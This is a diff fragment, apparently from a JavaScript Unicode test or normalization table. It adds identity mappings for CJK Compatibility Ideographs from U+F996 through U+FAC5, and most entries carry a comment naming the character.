+ ["\uF996", "\uF996"], /* CJK COMPATIBILITY IDEOGRAPH-F996 */
+ ["\uF997", "\uF997"], /* CJK COMPATIBILITY IDEOGRAPH-F997 */
+ ["\uF998", "\uF998"], /* CJK COMPATIBILITY IDEOGRAPH-F998 */
+ ["\uF999", "\uF999"], /* CJK COMPATIBILITY IDEOGRAPH-F999 */
+ ["\uF99A", "\uF99A"], /* CJK COMPATIBILITY IDEOGRAPH-F99A */
+ ["\uF99B", "\uF99B"], /* CJK COMPATIBILITY IDEOGRAPH-F99B */
+ ["\uF99C", "\uF99C"], /* CJK COMPATIBILITY IDEOGRAPH-F99C */
+ ["\uF99D", "\uF99D"], /* CJK COMPATIBILITY IDEOGRAPH-F99D */
+ ["\uF99E", "\uF99E"], /* CJK COMPATIBILITY IDEOGRAPH-F99E */
+ ["\uF99F", "\uF99F"], /* CJK COMPATIBILITY IDEOGRAPH-F99F */
+ ["\uF9A0", "\uF9A0"], /* CJK COMPATIBILITY IDEOGRAPH-F9A0 */
+ ["\uF9A1", "\uF9A1"], /* CJK COMPATIBILITY IDEOGRAPH-F9A1 */
+ ["\uF9A2", "\uF9A2"], /* CJK COMPATIBILITY IDEOGRAPH-F9A2 */
+ ["\uF9A3", "\uF9A3"], /* CJK COMPATIBILITY IDEOGRAPH-F9A3 */
+ ["\uF9A4", "\uF9A4"], /* CJK COMPATIBILITY IDEOGRAPH-F9A4 */
+ ["\uF9A5", "\uF9A5"], /* CJK COMPATIBILITY IDEOGRAPH-F9A5 */
+ ["\uF9A6", "\uF9A6"], /* CJK COMPATIBILITY IDEOGRAPH-F9A6 */
+ ["\uF9A7", "\uF9A7"], /* CJK COMPATIBILITY IDEOGRAPH-F9A7 */
+ ["\uF9A8", "\uF9A8"], /* CJK COMPATIBILITY IDEOGRAPH-F9A8 */
+ ["\uF9A9", "\uF9A9"], /* CJK COMPATIBILITY IDEOGRAPH-F9A9 */
+ ["\uF9AA", "\uF9AA"], /* CJK COMPATIBILITY IDEOGRAPH-F9AA */
+ ["\uF9AB", "\uF9AB"], /* CJK COMPATIBILITY IDEOGRAPH-F9AB */
+ ["\uF9AC", "\uF9AC"], /* CJK COMPATIBILITY IDEOGRAPH-F9AC */
+ ["\uF9AD", "\uF9AD"], /* CJK COMPATIBILITY IDEOGRAPH-F9AD */
+ ["\uF9AE", "\uF9AE"], /* CJK COMPATIBILITY IDEOGRAPH-F9AE */
+ ["\uF9AF", "\uF9AF"], /* CJK COMPATIBILITY IDEOGRAPH-F9AF */
+ ["\uF9B0", "\uF9B0"], /* CJK COMPATIBILITY IDEOGRAPH-F9B0 */
+ ["\uF9B1", "\uF9B1"], /* CJK COMPATIBILITY IDEOGRAPH-F9B1 */
+ ["\uF9B2", "\uF9B2"], /* CJK COMPATIBILITY IDEOGRAPH-F9B2 */
+ ["\uF9B3", "\uF9B3"], /* CJK COMPATIBILITY IDEOGRAPH-F9B3 */
+ ["\uF9B4", "\uF9B4"], /* CJK COMPATIBILITY IDEOGRAPH-F9B4 */
+ ["\uF9B5", "\uF9B5"], /* CJK COMPATIBILITY IDEOGRAPH-F9B5 */
+ ["\uF9B6", "\uF9B6"], /* CJK COMPATIBILITY IDEOGRAPH-F9B6 */
+ ["\uF9B7", "\uF9B7"], /* CJK COMPATIBILITY IDEOGRAPH-F9B7 */
+ ["\uF9B8", "\uF9B8"], /* CJK COMPATIBILITY IDEOGRAPH-F9B8 */
+ ["\uF9B9", "\uF9B9"], /* CJK COMPATIBILITY IDEOGRAPH-F9B9 */
+ ["\uF9BA", "\uF9BA"], /* CJK COMPATIBILITY IDEOGRAPH-F9BA */
+ ["\uF9BB", "\uF9BB"], /* CJK COMPATIBILITY IDEOGRAPH-F9BB */
+ ["\uF9BC", "\uF9BC"], /* CJK COMPATIBILITY IDEOGRAPH-F9BC */
+ ["\uF9BD", "\uF9BD"], /* CJK COMPATIBILITY IDEOGRAPH-F9BD */
+ ["\uF9BE", "\uF9BE"], /* CJK COMPATIBILITY IDEOGRAPH-F9BE */
+ ["\uF9BF", "\uF9BF"], /* CJK COMPATIBILITY IDEOGRAPH-F9BF */
+ ["\uF9C0", "\uF9C0"], /* CJK COMPATIBILITY IDEOGRAPH-F9C0 */
+ ["\uF9C1", "\uF9C1"], /* CJK COMPATIBILITY IDEOGRAPH-F9C1 */
+ ["\uF9C2", "\uF9C2"], /* CJK COMPATIBILITY IDEOGRAPH-F9C2 */
+ ["\uF9C3", "\uF9C3"], /* CJK COMPATIBILITY IDEOGRAPH-F9C3 */
+ ["\uF9C4", "\uF9C4"], /* CJK COMPATIBILITY IDEOGRAPH-F9C4 */
+ ["\uF9C5", "\uF9C5"], /* CJK COMPATIBILITY IDEOGRAPH-F9C5 */
+ ["\uF9C6", "\uF9C6"], /* CJK COMPATIBILITY IDEOGRAPH-F9C6 */
+ ["\uF9C7", "\uF9C7"], /* CJK COMPATIBILITY IDEOGRAPH-F9C7 */
+ ["\uF9C8", "\uF9C8"], /* CJK COMPATIBILITY IDEOGRAPH-F9C8 */
+ ["\uF9C9", "\uF9C9"], /* CJK COMPATIBILITY IDEOGRAPH-F9C9 */
+ ["\uF9CA", "\uF9CA"], /* CJK COMPATIBILITY IDEOGRAPH-F9CA */
+ ["\uF9CB", "\uF9CB"], /* CJK COMPATIBILITY IDEOGRAPH-F9CB */
+ ["\uF9CC", "\uF9CC"], /* CJK COMPATIBILITY IDEOGRAPH-F9CC */
+ ["\uF9CD", "\uF9CD"], /* CJK COMPATIBILITY IDEOGRAPH-F9CD */
+ ["\uF9CE", "\uF9CE"], /* CJK COMPATIBILITY IDEOGRAPH-F9CE */
+ ["\uF9CF", "\uF9CF"], /* CJK COMPATIBILITY IDEOGRAPH-F9CF */
+ ["\uF9D0", "\uF9D0"], /* CJK COMPATIBILITY IDEOGRAPH-F9D0 */
+ ["\uF9D1", "\uF9D1"], /* CJK COMPATIBILITY IDEOGRAPH-F9D1 */
+ ["\uF9D2", "\uF9D2"], /* CJK COMPATIBILITY IDEOGRAPH-F9D2 */
+ ["\uF9D3", "\uF9D3"], /* CJK COMPATIBILITY IDEOGRAPH-F9D3 */
+ ["\uF9D4", "\uF9D4"], /* CJK COMPATIBILITY IDEOGRAPH-F9D4 */
+ ["\uF9D5", "\uF9D5"], /* CJK COMPATIBILITY IDEOGRAPH-F9D5 */
+ ["\uF9D6", "\uF9D6"], /* CJK COMPATIBILITY IDEOGRAPH-F9D6 */
+ ["\uF9D7", "\uF9D7"], /* CJK COMPATIBILITY IDEOGRAPH-F9D7 */
+ ["\uF9D8", "\uF9D8"], /* CJK COMPATIBILITY IDEOGRAPH-F9D8 */
+ ["\uF9D9", "\uF9D9"], /* CJK COMPATIBILITY IDEOGRAPH-F9D9 */
+ ["\uF9DA", "\uF9DA"], /* CJK COMPATIBILITY IDEOGRAPH-F9DA */
+ ["\uF9DB", "\uF9DB"], /* CJK COMPATIBILITY IDEOGRAPH-F9DB */
+ ["\uF9DC", "\uF9DC"], /* CJK COMPATIBILITY IDEOGRAPH-F9DC */
+ ["\uF9DD", "\uF9DD"], /* CJK COMPATIBILITY IDEOGRAPH-F9DD */
+ ["\uF9DE", "\uF9DE"], /* CJK COMPATIBILITY IDEOGRAPH-F9DE */
+ ["\uF9DF", "\uF9DF"], /* CJK COMPATIBILITY IDEOGRAPH-F9DF */
+ ["\uF9E0", "\uF9E0"], /* CJK COMPATIBILITY IDEOGRAPH-F9E0 */
+ ["\uF9E1", "\uF9E1"], /* CJK COMPATIBILITY IDEOGRAPH-F9E1 */
+ ["\uF9E2", "\uF9E2"], /* CJK COMPATIBILITY IDEOGRAPH-F9E2 */
+ ["\uF9E3", "\uF9E3"], /* CJK COMPATIBILITY IDEOGRAPH-F9E3 */
+ ["\uF9E4", "\uF9E4"], /* CJK COMPATIBILITY IDEOGRAPH-F9E4 */
+ ["\uF9E5", "\uF9E5"], /* CJK COMPATIBILITY IDEOGRAPH-F9E5 */
+ ["\uF9E6", "\uF9E6"], /* CJK COMPATIBILITY IDEOGRAPH-F9E6 */
+ ["\uF9E7", "\uF9E7"], /* CJK COMPATIBILITY IDEOGRAPH-F9E7 */
+ ["\uF9E8", "\uF9E8"], /* CJK COMPATIBILITY IDEOGRAPH-F9E8 */
+ ["\uF9E9", "\uF9E9"], /* CJK COMPATIBILITY IDEOGRAPH-F9E9 */
+ ["\uF9EA", "\uF9EA"], /* CJK COMPATIBILITY IDEOGRAPH-F9EA */
+ ["\uF9EB", "\uF9EB"], /* CJK COMPATIBILITY IDEOGRAPH-F9EB */
+ ["\uF9EC", "\uF9EC"], /* CJK COMPATIBILITY IDEOGRAPH-F9EC */
+ ["\uF9ED", "\uF9ED"], /* CJK COMPATIBILITY IDEOGRAPH-F9ED */
+ ["\uF9EE", "\uF9EE"], /* CJK COMPATIBILITY IDEOGRAPH-F9EE */
+ ["\uF9EF", "\uF9EF"], /* CJK COMPATIBILITY IDEOGRAPH-F9EF */
+ ["\uF9F0", "\uF9F0"], /* CJK COMPATIBILITY IDEOGRAPH-F9F0 */
+ ["\uF9F1", "\uF9F1"], /* CJK COMPATIBILITY IDEOGRAPH-F9F1 */
+ ["\uF9F2", "\uF9F2"], /* CJK COMPATIBILITY IDEOGRAPH-F9F2 */
+ ["\uF9F3", "\uF9F3"], /* CJK COMPATIBILITY IDEOGRAPH-F9F3 */
+ ["\uF9F4", "\uF9F4"], /* CJK COMPATIBILITY IDEOGRAPH-F9F4 */
+ ["\uF9F5", "\uF9F5"], /* CJK COMPATIBILITY IDEOGRAPH-F9F5 */
+ ["\uF9F6", "\uF9F6"], /* CJK COMPATIBILITY IDEOGRAPH-F9F6 */
+ ["\uF9F7", "\uF9F7"], /* CJK COMPATIBILITY IDEOGRAPH-F9F7 */
+ ["\uF9F8", "\uF9F8"], /* CJK COMPATIBILITY IDEOGRAPH-F9F8 */
+ ["\uF9F9", "\uF9F9"], /* CJK COMPATIBILITY IDEOGRAPH-F9F9 */
+ ["\uF9FA", "\uF9FA"], /* CJK COMPATIBILITY IDEOGRAPH-F9FA */
+ ["\uF9FB", "\uF9FB"], /* CJK COMPATIBILITY IDEOGRAPH-F9FB */
+ ["\uF9FC", "\uF9FC"], /* CJK COMPATIBILITY IDEOGRAPH-F9FC */
+ ["\uF9FD", "\uF9FD"], /* CJK COMPATIBILITY IDEOGRAPH-F9FD */
+ ["\uF9FE", "\uF9FE"], /* CJK COMPATIBILITY IDEOGRAPH-F9FE */
+ ["\uF9FF", "\uF9FF"], /* CJK COMPATIBILITY IDEOGRAPH-F9FF */
+ ["\uFA00", "\uFA00"], /* CJK COMPATIBILITY IDEOGRAPH-FA00 */
+ ["\uFA01", "\uFA01"], /* CJK COMPATIBILITY IDEOGRAPH-FA01 */
+ ["\uFA02", "\uFA02"], /* CJK COMPATIBILITY IDEOGRAPH-FA02 */
+ ["\uFA03", "\uFA03"], /* CJK COMPATIBILITY IDEOGRAPH-FA03 */
+ ["\uFA04", "\uFA04"], /* CJK COMPATIBILITY IDEOGRAPH-FA04 */
+ ["\uFA05", "\uFA05"], /* CJK COMPATIBILITY IDEOGRAPH-FA05 */
+ ["\uFA06", "\uFA06"], /* CJK COMPATIBILITY IDEOGRAPH-FA06 */
+ ["\uFA07", "\uFA07"], /* CJK COMPATIBILITY IDEOGRAPH-FA07 */
+ ["\uFA08", "\uFA08"], /* CJK COMPATIBILITY IDEOGRAPH-FA08 */
+ ["\uFA09", "\uFA09"], /* CJK COMPATIBILITY IDEOGRAPH-FA09 */
+ ["\uFA0A", "\uFA0A"], /* CJK COMPATIBILITY IDEOGRAPH-FA0A */
+ ["\uFA0B", "\uFA0B"], /* CJK COMPATIBILITY IDEOGRAPH-FA0B */
+ ["\uFA0C", "\uFA0C"], /* CJK COMPATIBILITY IDEOGRAPH-FA0C */
+ ["\uFA0D", "\uFA0D"], /* CJK COMPATIBILITY IDEOGRAPH-FA0D */
+ ["\uFA0E", "\uFA0E"], /* CJK COMPATIBILITY IDEOGRAPH-FA0E */
+ ["\uFA0F", "\uFA0F"], /* CJK COMPATIBILITY IDEOGRAPH-FA0F */
+ ["\uFA10", "\uFA10"], /* CJK COMPATIBILITY IDEOGRAPH-FA10 */
+ ["\uFA11", "\uFA11"], /* CJK COMPATIBILITY IDEOGRAPH-FA11 */
+ ["\uFA12", "\uFA12"], /* CJK COMPATIBILITY IDEOGRAPH-FA12 */
+ ["\uFA13", "\uFA13"], /* CJK COMPATIBILITY IDEOGRAPH-FA13 */
+ ["\uFA14", "\uFA14"], /* CJK COMPATIBILITY IDEOGRAPH-FA14 */
+ ["\uFA15", "\uFA15"], /* CJK COMPATIBILITY IDEOGRAPH-FA15 */
+ ["\uFA16", "\uFA16"], /* CJK COMPATIBILITY IDEOGRAPH-FA16 */
+ ["\uFA17", "\uFA17"], /* CJK COMPATIBILITY IDEOGRAPH-FA17 */
+ ["\uFA18", "\uFA18"], /* CJK COMPATIBILITY IDEOGRAPH-FA18 */
+ ["\uFA19", "\uFA19"], /* CJK COMPATIBILITY IDEOGRAPH-FA19 */
+ ["\uFA1A", "\uFA1A"], /* CJK COMPATIBILITY IDEOGRAPH-FA1A */
+ ["\uFA1B", "\uFA1B"], /* CJK COMPATIBILITY IDEOGRAPH-FA1B */
+ ["\uFA1C", "\uFA1C"], /* CJK COMPATIBILITY IDEOGRAPH-FA1C */
+ ["\uFA1D", "\uFA1D"], /* CJK COMPATIBILITY IDEOGRAPH-FA1D */
+ ["\uFA1E", "\uFA1E"], /* CJK COMPATIBILITY IDEOGRAPH-FA1E */
+ ["\uFA1F", "\uFA1F"], /* CJK COMPATIBILITY IDEOGRAPH-FA1F */
+ ["\uFA20", "\uFA20"], /* CJK COMPATIBILITY IDEOGRAPH-FA20 */
+ ["\uFA21", "\uFA21"], /* CJK COMPATIBILITY IDEOGRAPH-FA21 */
+ ["\uFA22", "\uFA22"], /* CJK COMPATIBILITY IDEOGRAPH-FA22 */
+ ["\uFA23", "\uFA23"], /* CJK COMPATIBILITY IDEOGRAPH-FA23 */
+ ["\uFA24", "\uFA24"], /* CJK COMPATIBILITY IDEOGRAPH-FA24 */
+ ["\uFA25", "\uFA25"], /* CJK COMPATIBILITY IDEOGRAPH-FA25 */
+ ["\uFA26", "\uFA26"], /* CJK COMPATIBILITY IDEOGRAPH-FA26 */
+ ["\uFA27", "\uFA27"], /* CJK COMPATIBILITY IDEOGRAPH-FA27 */
+ ["\uFA28", "\uFA28"], /* CJK COMPATIBILITY IDEOGRAPH-FA28 */
+ ["\uFA29", "\uFA29"], /* CJK COMPATIBILITY IDEOGRAPH-FA29 */
+ ["\uFA2A", "\uFA2A"], /* CJK COMPATIBILITY IDEOGRAPH-FA2A */
+ ["\uFA2B", "\uFA2B"], /* CJK COMPATIBILITY IDEOGRAPH-FA2B */
+ ["\uFA2C", "\uFA2C"], /* CJK COMPATIBILITY IDEOGRAPH-FA2C */
+ ["\uFA2D", "\uFA2D"], /* CJK COMPATIBILITY IDEOGRAPH-FA2D */
+ ["\uFA2E", "\uFA2E"], /* CJK COMPATIBILITY IDEOGRAPH-FA2E */
+ ["\uFA2F", "\uFA2F"], /* CJK COMPATIBILITY IDEOGRAPH-FA2F */
+ ["\uFA30", "\uFA30"], /* CJK COMPATIBILITY IDEOGRAPH-FA30 */
+ ["\uFA31", "\uFA31"], /* CJK COMPATIBILITY IDEOGRAPH-FA31 */
+ ["\uFA32", "\uFA32"], /* CJK COMPATIBILITY IDEOGRAPH-FA32 */
+ ["\uFA33", "\uFA33"], /* CJK COMPATIBILITY IDEOGRAPH-FA33 */
+ ["\uFA34", "\uFA34"], /* CJK COMPATIBILITY IDEOGRAPH-FA34 */
+ ["\uFA35", "\uFA35"], /* CJK COMPATIBILITY IDEOGRAPH-FA35 */
+ ["\uFA36", "\uFA36"], /* CJK COMPATIBILITY IDEOGRAPH-FA36 */
+ ["\uFA37", "\uFA37"], /* CJK COMPATIBILITY IDEOGRAPH-FA37 */
+ ["\uFA38", "\uFA38"], /* CJK COMPATIBILITY IDEOGRAPH-FA38 */
+ ["\uFA39", "\uFA39"], /* CJK COMPATIBILITY IDEOGRAPH-FA39 */
+ ["\uFA3A", "\uFA3A"], /* CJK COMPATIBILITY IDEOGRAPH-FA3A */
+ ["\uFA3B", "\uFA3B"], /* CJK COMPATIBILITY IDEOGRAPH-FA3B */
+ ["\uFA3C", "\uFA3C"], /* CJK COMPATIBILITY IDEOGRAPH-FA3C */
+ ["\uFA3D", "\uFA3D"], /* CJK COMPATIBILITY IDEOGRAPH-FA3D */
+ ["\uFA3E", "\uFA3E"], /* CJK COMPATIBILITY IDEOGRAPH-FA3E */
+ ["\uFA3F", "\uFA3F"], /* CJK COMPATIBILITY IDEOGRAPH-FA3F */
+ ["\uFA40", "\uFA40"], /* CJK COMPATIBILITY IDEOGRAPH-FA40 */
+ ["\uFA41", "\uFA41"], /* CJK COMPATIBILITY IDEOGRAPH-FA41 */
+ ["\uFA42", "\uFA42"], /* CJK COMPATIBILITY IDEOGRAPH-FA42 */
+ ["\uFA43", "\uFA43"], /* CJK COMPATIBILITY IDEOGRAPH-FA43 */
+ ["\uFA44", "\uFA44"], /* CJK COMPATIBILITY IDEOGRAPH-FA44 */
+ ["\uFA45", "\uFA45"], /* CJK COMPATIBILITY IDEOGRAPH-FA45 */
+ ["\uFA46", "\uFA46"], /* CJK COMPATIBILITY IDEOGRAPH-FA46 */
+ ["\uFA47", "\uFA47"], /* CJK COMPATIBILITY IDEOGRAPH-FA47 */
+ ["\uFA48", "\uFA48"], /* CJK COMPATIBILITY IDEOGRAPH-FA48 */
+ ["\uFA49", "\uFA49"], /* CJK COMPATIBILITY IDEOGRAPH-FA49 */
+ ["\uFA4A", "\uFA4A"], /* CJK COMPATIBILITY IDEOGRAPH-FA4A */
+ ["\uFA4B", "\uFA4B"], /* CJK COMPATIBILITY IDEOGRAPH-FA4B */
+ ["\uFA4C", "\uFA4C"], /* CJK COMPATIBILITY IDEOGRAPH-FA4C */
+ ["\uFA4D", "\uFA4D"], /* CJK COMPATIBILITY IDEOGRAPH-FA4D */
+ ["\uFA4E", "\uFA4E"], /* CJK COMPATIBILITY IDEOGRAPH-FA4E */
+ ["\uFA4F", "\uFA4F"], /* CJK COMPATIBILITY IDEOGRAPH-FA4F */
+ ["\uFA50", "\uFA50"], /* CJK COMPATIBILITY IDEOGRAPH-FA50 */
+ ["\uFA51", "\uFA51"], /* CJK COMPATIBILITY IDEOGRAPH-FA51 */
+ ["\uFA52", "\uFA52"], /* CJK COMPATIBILITY IDEOGRAPH-FA52 */
+ ["\uFA53", "\uFA53"], /* CJK COMPATIBILITY IDEOGRAPH-FA53 */
+ ["\uFA54", "\uFA54"], /* CJK COMPATIBILITY IDEOGRAPH-FA54 */
+ ["\uFA55", "\uFA55"], /* CJK COMPATIBILITY IDEOGRAPH-FA55 */
+ ["\uFA56", "\uFA56"], /* CJK COMPATIBILITY IDEOGRAPH-FA56 */
+ ["\uFA57", "\uFA57"], /* CJK COMPATIBILITY IDEOGRAPH-FA57 */
+ ["\uFA58", "\uFA58"], /* CJK COMPATIBILITY IDEOGRAPH-FA58 */
+ ["\uFA59", "\uFA59"], /* CJK COMPATIBILITY IDEOGRAPH-FA59 */
+ ["\uFA5A", "\uFA5A"], /* CJK COMPATIBILITY IDEOGRAPH-FA5A */
+ ["\uFA5B", "\uFA5B"], /* CJK COMPATIBILITY IDEOGRAPH-FA5B */
+ ["\uFA5C", "\uFA5C"], /* CJK COMPATIBILITY IDEOGRAPH-FA5C */
+ ["\uFA5D", "\uFA5D"], /* CJK COMPATIBILITY IDEOGRAPH-FA5D */
+ ["\uFA5E", "\uFA5E"], /* CJK COMPATIBILITY IDEOGRAPH-FA5E */
+ ["\uFA5F", "\uFA5F"], /* CJK COMPATIBILITY IDEOGRAPH-FA5F */
+ ["\uFA60", "\uFA60"], /* CJK COMPATIBILITY IDEOGRAPH-FA60 */
+ ["\uFA61", "\uFA61"], /* CJK COMPATIBILITY IDEOGRAPH-FA61 */
+ ["\uFA62", "\uFA62"], /* CJK COMPATIBILITY IDEOGRAPH-FA62 */
+ ["\uFA63", "\uFA63"], /* CJK COMPATIBILITY IDEOGRAPH-FA63 */
+ ["\uFA64", "\uFA64"], /* CJK COMPATIBILITY IDEOGRAPH-FA64 */
+ ["\uFA65", "\uFA65"], /* CJK COMPATIBILITY IDEOGRAPH-FA65 */
+ ["\uFA66", "\uFA66"], /* CJK COMPATIBILITY IDEOGRAPH-FA66 */
+ ["\uFA67", "\uFA67"], /* CJK COMPATIBILITY IDEOGRAPH-FA67 */
+ ["\uFA68", "\uFA68"], /* CJK COMPATIBILITY IDEOGRAPH-FA68 */
+ ["\uFA69", "\uFA69"], /* CJK COMPATIBILITY IDEOGRAPH-FA69 */
+ ["\uFA6A", "\uFA6A"], /* CJK COMPATIBILITY IDEOGRAPH-FA6A */
+ ["\uFA6B", "\uFA6B"], /* CJK COMPATIBILITY IDEOGRAPH-FA6B */
+ ["\uFA6C", "\uFA6C"], /* CJK COMPATIBILITY IDEOGRAPH-FA6C */
+ ["\uFA6D", "\uFA6D"], /* CJK COMPATIBILITY IDEOGRAPH-FA6D */
+ ["\uFA6E", "\uFA6E"],
+ ["\uFA6F", "\uFA6F"],
+ ["\uFA70", "\uFA70"], /* CJK COMPATIBILITY IDEOGRAPH-FA70 */
+ ["\uFA71", "\uFA71"], /* CJK COMPATIBILITY IDEOGRAPH-FA71 */
+ ["\uFA72", "\uFA72"], /* CJK COMPATIBILITY IDEOGRAPH-FA72 */
+ ["\uFA73", "\uFA73"], /* CJK COMPATIBILITY IDEOGRAPH-FA73 */
+ ["\uFA74", "\uFA74"], /* CJK COMPATIBILITY IDEOGRAPH-FA74 */
+ ["\uFA75", "\uFA75"], /* CJK COMPATIBILITY IDEOGRAPH-FA75 */
+ ["\uFA76", "\uFA76"], /* CJK COMPATIBILITY IDEOGRAPH-FA76 */
+ ["\uFA77", "\uFA77"], /* CJK COMPATIBILITY IDEOGRAPH-FA77 */
+ ["\uFA78", "\uFA78"], /* CJK COMPATIBILITY IDEOGRAPH-FA78 */
+ ["\uFA79", "\uFA79"], /* CJK COMPATIBILITY IDEOGRAPH-FA79 */
+ ["\uFA7A", "\uFA7A"], /* CJK COMPATIBILITY IDEOGRAPH-FA7A */
+ ["\uFA7B", "\uFA7B"], /* CJK COMPATIBILITY IDEOGRAPH-FA7B */
+ ["\uFA7C", "\uFA7C"], /* CJK COMPATIBILITY IDEOGRAPH-FA7C */
+ ["\uFA7D", "\uFA7D"], /* CJK COMPATIBILITY IDEOGRAPH-FA7D */
+ ["\uFA7E", "\uFA7E"], /* CJK COMPATIBILITY IDEOGRAPH-FA7E */
+ ["\uFA7F", "\uFA7F"], /* CJK COMPATIBILITY IDEOGRAPH-FA7F */
+ ["\uFA80", "\uFA80"], /* CJK COMPATIBILITY IDEOGRAPH-FA80 */
+ ["\uFA81", "\uFA81"], /* CJK COMPATIBILITY IDEOGRAPH-FA81 */
+ ["\uFA82", "\uFA82"], /* CJK COMPATIBILITY IDEOGRAPH-FA82 */
+ ["\uFA83", "\uFA83"], /* CJK COMPATIBILITY IDEOGRAPH-FA83 */
+ ["\uFA84", "\uFA84"], /* CJK COMPATIBILITY IDEOGRAPH-FA84 */
+ ["\uFA85", "\uFA85"], /* CJK COMPATIBILITY IDEOGRAPH-FA85 */
+ ["\uFA86", "\uFA86"], /* CJK COMPATIBILITY IDEOGRAPH-FA86 */
+ ["\uFA87", "\uFA87"], /* CJK COMPATIBILITY IDEOGRAPH-FA87 */
+ ["\uFA88", "\uFA88"], /* CJK COMPATIBILITY IDEOGRAPH-FA88 */
+ ["\uFA89", "\uFA89"], /* CJK COMPATIBILITY IDEOGRAPH-FA89 */
+ ["\uFA8A", "\uFA8A"], /* CJK COMPATIBILITY IDEOGRAPH-FA8A */
+ ["\uFA8B", "\uFA8B"], /* CJK COMPATIBILITY IDEOGRAPH-FA8B */
+ ["\uFA8C", "\uFA8C"], /* CJK COMPATIBILITY IDEOGRAPH-FA8C */
+ ["\uFA8D", "\uFA8D"], /* CJK COMPATIBILITY IDEOGRAPH-FA8D */
+ ["\uFA8E", "\uFA8E"], /* CJK COMPATIBILITY IDEOGRAPH-FA8E */
+ ["\uFA8F", "\uFA8F"], /* CJK COMPATIBILITY IDEOGRAPH-FA8F */
+ ["\uFA90", "\uFA90"], /* CJK COMPATIBILITY IDEOGRAPH-FA90 */
+ ["\uFA91", "\uFA91"], /* CJK COMPATIBILITY IDEOGRAPH-FA91 */
+ ["\uFA92", "\uFA92"], /* CJK COMPATIBILITY IDEOGRAPH-FA92 */
+ ["\uFA93", "\uFA93"], /* CJK COMPATIBILITY IDEOGRAPH-FA93 */
+ ["\uFA94", "\uFA94"], /* CJK COMPATIBILITY IDEOGRAPH-FA94 */
+ ["\uFA95", "\uFA95"], /* CJK COMPATIBILITY IDEOGRAPH-FA95 */
+ ["\uFA96", "\uFA96"], /* CJK COMPATIBILITY IDEOGRAPH-FA96 */
+ ["\uFA97", "\uFA97"], /* CJK COMPATIBILITY IDEOGRAPH-FA97 */
+ ["\uFA98", "\uFA98"], /* CJK COMPATIBILITY IDEOGRAPH-FA98 */
+ ["\uFA99", "\uFA99"], /* CJK COMPATIBILITY IDEOGRAPH-FA99 */
+ ["\uFA9A", "\uFA9A"], /* CJK COMPATIBILITY IDEOGRAPH-FA9A */
+ ["\uFA9B", "\uFA9B"], /* CJK COMPATIBILITY IDEOGRAPH-FA9B */
+ ["\uFA9C", "\uFA9C"], /* CJK COMPATIBILITY IDEOGRAPH-FA9C */
+ ["\uFA9D", "\uFA9D"], /* CJK COMPATIBILITY IDEOGRAPH-FA9D */
+ ["\uFA9E", "\uFA9E"], /* CJK COMPATIBILITY IDEOGRAPH-FA9E */
+ ["\uFA9F", "\uFA9F"], /* CJK COMPATIBILITY IDEOGRAPH-FA9F */
+ ["\uFAA0", "\uFAA0"], /* CJK COMPATIBILITY IDEOGRAPH-FAA0 */
+ ["\uFAA1", "\uFAA1"], /* CJK COMPATIBILITY IDEOGRAPH-FAA1 */
+ ["\uFAA2", "\uFAA2"], /* CJK COMPATIBILITY IDEOGRAPH-FAA2 */
+ ["\uFAA3", "\uFAA3"], /* CJK COMPATIBILITY IDEOGRAPH-FAA3 */
+ ["\uFAA4", "\uFAA4"], /* CJK COMPATIBILITY IDEOGRAPH-FAA4 */
+ ["\uFAA5", "\uFAA5"], /* CJK COMPATIBILITY IDEOGRAPH-FAA5 */
+ ["\uFAA6", "\uFAA6"], /* CJK COMPATIBILITY IDEOGRAPH-FAA6 */
+ ["\uFAA7", "\uFAA7"], /* CJK COMPATIBILITY IDEOGRAPH-FAA7 */
+ ["\uFAA8", "\uFAA8"], /* CJK COMPATIBILITY IDEOGRAPH-FAA8 */
+ ["\uFAA9", "\uFAA9"], /* CJK COMPATIBILITY IDEOGRAPH-FAA9 */
+ ["\uFAAA", "\uFAAA"], /* CJK COMPATIBILITY IDEOGRAPH-FAAA */
+ ["\uFAAB", "\uFAAB"], /* CJK COMPATIBILITY IDEOGRAPH-FAAB */
+ ["\uFAAC", "\uFAAC"], /* CJK COMPATIBILITY IDEOGRAPH-FAAC */
+ ["\uFAAD", "\uFAAD"], /* CJK COMPATIBILITY IDEOGRAPH-FAAD */
+ ["\uFAAE", "\uFAAE"], /* CJK COMPATIBILITY IDEOGRAPH-FAAE */
+ ["\uFAAF", "\uFAAF"], /* CJK COMPATIBILITY IDEOGRAPH-FAAF */
+ ["\uFAB0", "\uFAB0"], /* CJK COMPATIBILITY IDEOGRAPH-FAB0 */
+ ["\uFAB1", "\uFAB1"], /* CJK COMPATIBILITY IDEOGRAPH-FAB1 */
+ ["\uFAB2", "\uFAB2"], /* CJK COMPATIBILITY IDEOGRAPH-FAB2 */
+ ["\uFAB3", "\uFAB3"], /* CJK COMPATIBILITY IDEOGRAPH-FAB3 */
+ ["\uFAB4", "\uFAB4"], /* CJK COMPATIBILITY IDEOGRAPH-FAB4 */
+ ["\uFAB5", "\uFAB5"], /* CJK COMPATIBILITY IDEOGRAPH-FAB5 */
+ ["\uFAB6", "\uFAB6"], /* CJK COMPATIBILITY IDEOGRAPH-FAB6 */
+ ["\uFAB7", "\uFAB7"], /* CJK COMPATIBILITY IDEOGRAPH-FAB7 */
+ ["\uFAB8", "\uFAB8"], /* CJK COMPATIBILITY IDEOGRAPH-FAB8 */
+ ["\uFAB9", "\uFAB9"], /* CJK COMPATIBILITY IDEOGRAPH-FAB9 */
+ ["\uFABA", "\uFABA"], /* CJK COMPATIBILITY IDEOGRAPH-FABA */
+ ["\uFABB", "\uFABB"], /* CJK COMPATIBILITY IDEOGRAPH-FABB */
+ ["\uFABC", "\uFABC"], /* CJK COMPATIBILITY IDEOGRAPH-FABC */
+ ["\uFABD", "\uFABD"], /* CJK COMPATIBILITY IDEOGRAPH-FABD */
+ ["\uFABE", "\uFABE"], /* CJK COMPATIBILITY IDEOGRAPH-FABE */
+ ["\uFABF", "\uFABF"], /* CJK COMPATIBILITY IDEOGRAPH-FABF */
+ ["\uFAC0", "\uFAC0"], /* CJK COMPATIBILITY IDEOGRAPH-FAC0 */
+ ["\uFAC1", "\uFAC1"], /* CJK COMPATIBILITY IDEOGRAPH-FAC1 */
+ ["\uFAC2", "\uFAC2"], /* CJK COMPATIBILITY IDEOGRAPH-FAC2 */
+ ["\uFAC3", "\uFAC3"], /* CJK COMPATIBILITY IDEOGRAPH-FAC3 */
+ ["\uFAC4", "\uFAC4"], /* CJK COMPATIBILITY IDEOGRAPH-FAC4 */
+ ["\uFAC5", "\uFAC5"], /* CJK COMPATIBILITY IDEOGRAPH-FAC5 */
